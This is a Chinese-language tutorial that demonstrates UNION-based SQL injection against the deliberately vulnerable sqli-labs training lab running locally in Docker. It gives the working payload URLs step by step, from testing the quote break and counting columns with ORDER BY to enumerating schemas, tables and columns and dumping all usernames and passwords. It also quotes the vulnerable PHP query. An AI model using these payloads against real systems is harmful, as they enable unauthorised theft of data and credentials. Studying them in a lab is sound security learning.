我們都是善良的銀!一生戎碼只為行俠仗義,知道這個不是為了做啥非法的事,只是知道小偷怎麼偷東西才能更好地防範。
SQL隱碼攻擊(SQL Injection),SQL隱碼攻擊即是指web應用程式對使用者輸入資料的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程式中事先定義好的查詢語句的結尾上新增額外的SQL語句,以此來實現欺騙資料庫伺服器執行非授權的任意查詢,從而進一步得到相應的資料資訊。
下面我們用sqli-labs這個開源專案來演示一下SQL隱碼攻擊盜取資訊的全程。
sqli-labs是一個sql注入的練習靶機,專案地址為:/sqli-labs
原始碼是用php寫的,這裡我使用的是docker部署的,如下
這裡我是去store.docker.com搜尋的映象使用:https://hub.docker.com/r/acgpiano/sqli-labs,我們執行一下
docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest
執行後開啟http://127.0.0.1:8089/,介面如下
這是一個闖關的課程,一個有22課,接下來我們只會用到Less-1來演示,也就是單引號注入,但是核心原理其實都是通過UNIONt和CONCAT出對應的資料盜取資訊。
更多技巧可以參考這篇文章:SQL隱碼攻擊篇——sqli-labs最詳細1-75闖關指南
開啟:http://127.0.0.1:8089/Less-1/,看到如下內容
我們輸入id:http://127.0.0.1:8089/Less-1/?id=1,顯示了id為1的使用者
對應的php原始碼是這樣的:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
相當於最後sql變成了
SELECT * FROM users WHERE id='1' LIMIT 0,1
知其然也知其所以然,歐耶~
資料庫結構
資料庫是這樣的
注入示例
下面使用Less-1的單引號注入來演示一下盜取資訊的過程
我們把id改成:id=1' and 1=1 -- -
,訪問
http://127.0.0.1:8089/Less-1/?id=1' and 1=1 -- -
可以正常訪問,說明可以用單引號注入,SQL語句相當於變成了
SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1
這就是傳說中的單引號注入,相當於構造出了下面這樣的語句
判斷共有多少欄位
UNION SELECT 1,user(),database() -- -
通過orderby試探,order by是可以直接指定欄位的列來排序的,所以可以挨個試,
比如當我們使用order by 5,訪問
http://127.0.0.1:8089/Less-1/?id=1' order by 5 -- -
報錯了,說明不對
當我們用order by 3的時候,正常返回了,訪問地址:
http://127.0.0.1:8089/Less-1/?id=1' order by 3 -- -
正常返回了,說明欄位有3個。
判斷欄位的顯示位置
UNION SELECT 1,2,3 -- -
我們構造一下,訪問
http://127.0.0.1:8089/Less-1/?id='UNION SELECT 1,2,3 -- -
分別顯示2和3,說明登入名和密碼欄位在2和3的位置
顯示登入使用者和資料庫名
UNION SELECT 1,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema = 'security' ),3 -- -
已經匹配出了欄位,接下來的所有使用者資訊都需要經過UNION相等的列來獲取,訪問
http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,database(),user() -- -
我們看到當前使用的資料庫名叫security,連線的使用者是root超管
檢視所有資料庫名
UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -
訪問
http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -
其實原理就是構造出了這樣的語句
我們看到了資料庫有information_schema、challenges、mysql、performance_schema、security
檢視資料庫的所有表名
UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -
訪問
http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -
訪問如下
我們看到有emails、referers、uagents、users這四個表
檢視錶的所有欄位
UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
訪問
http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
可以看到用id、username、password3個欄位
檢視所有的使用者密碼
UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password))FROM users),3 -- -
訪問
http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password)) FROM users),3 -- -
使用者名稱和密碼全出來了,厲害了我的哥!
到這裡,我們就學會了怎麼把對方所有的隱私load出來了,有點可怕啊!你學會了嗎!以上內容由chenqionghe提供,light weight baby!